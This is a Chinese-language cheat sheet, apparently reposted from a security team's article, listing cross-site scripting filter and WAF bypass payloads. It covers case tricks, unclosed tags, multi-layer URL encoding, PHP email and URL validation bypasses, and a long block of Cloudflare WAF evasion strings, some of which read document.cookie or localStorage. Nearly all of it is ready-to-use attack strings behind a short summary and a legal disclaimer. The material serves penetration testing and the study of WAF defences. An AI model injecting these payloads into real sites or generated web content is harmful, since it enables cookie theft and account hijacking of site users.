文章总结: 本文系统梳理了XSS攻击的各类绕过技术,包括大小写混合、未闭合标签、多重URL编码、特殊字符替换等基础绕过方法,以及针对CloudflareWAF的字符实体编码、事件属性变形等高级绕过技巧。文档提供了大量可直接使用的Payload示例,涵盖PHP邮箱验证、URL验证等特定场景,并总结了XSS攻击的核心原理与分类,适合安全研究人员和渗透测试人员快速查阅实战应用。 综合评分: 82 文章分类: WEB安全,渗透测试,漏洞分析,安全工具,漏洞POC
跨站脚本攻击(XSS)速查手册(绕过篇)
Khan安全团队
2026年2月9日 08:40 广东
1.1 大小写混合绕过
利用 HTML 标签大小写不敏感的特性绕过检测:
<Script>alert(document.cookie)</Script>
1.2 未闭合标签绕过
通过不闭合 HTML 标签的方式绕过检测:
<svg onload="alert(1)"
1.3 全大写载荷绕过
<SVG ONLOAD=ALERT(1)>
1.4 编码绕过
通过 URL 编码(单次 / 多次)绕过字符过滤:
<!-- 单次编码 -->%3Csvg%20onload%3Dalert(1)%3E<!-- 双重编码 -->%253Csvg%2520onload%253Dalert%281%29%253E<!-- 三重编码 -->%25253Csvg%252520onload%25253Dalert%25281%2529%25253E
1.5 应对 JS 小写过滤的载荷
使用特殊字符的大写脚本标签绕过小写过滤:
<SCRİPT>alert(1)</SCRİPT>
1.6 绕过 PHP 邮箱验证的载荷
<svg/onload=alert(1)>"@gmail.com
1.7 绕过 PHP URL 验证的载荷
javascript://%250Aalert(1)
1.8 注释内绕过
将恶意脚本嵌入 HTML 注释中绕过检测:
<!--><svg onload=alert(1)-->
绕过 Web 应用防火墙(WAF)
2.1 绕过 Cloudflare WAF 的载荷
<svg%0Aonauxclick=0;[1].some(confirm)//<svg onload=alert%26%230000000040"")><a/href=j	a	v	asc
ri	pt:(a	l	e	r	t	(1))><svg onx=() onload=(confirm)(1)><svg onx=() onload=(confirm)(document.cookie)><svg onx=() onload=(confirm)(JSON.stringify(localStorage))>Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();"><onx=[] onmouseover=prompt(1)>%2sscript%2ualert()%2s/script%2u -xss popup<svg onload=alert%26%230000000040"1")>"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))[1].map(confirm)'ale'+'rt'()a	l	e	r	t(1)prompt(1)prompt(1)prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``)<svg onload=prompt%26%230000000040document.domain)><svg onload=prompt%26%23x000000028;document.domain)><svg/onrandom=random onload=confirm(1)><video onnull=null onmouseover=confirm(1)><a id=x tabindex=1 onbeforedeactivate=print(`XSS`)></a><input autofocus>:javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie<img ignored=() src=x onerror=prompt(1)>
总结
XSS 攻击核心是将恶意脚本注入页面并触发执行,按触发方式可分为反射型、存储型、基于 DOM 三类,其载荷设计需适配输入所处的上下文(标签属性、脚本块、注释等);
XSS 绕过手段主要利用语法特性(大小写、未闭合标签)、编码(URL 单次 / 多次编码)、上下文逃逸(引号 / 注释 / 标签闭合)等方式突破检测;
针对 WAF 的绕过需结合具体防护规则,通过字符编码、特殊符号、语法变形等方式规避特征匹配,其中 Cloudflare WAF 的绕过需重点关注字符实体编码、事件属性变形等技巧。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Khan安全团队 《跨站脚本攻击(XSS)速查手册(绕过篇)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论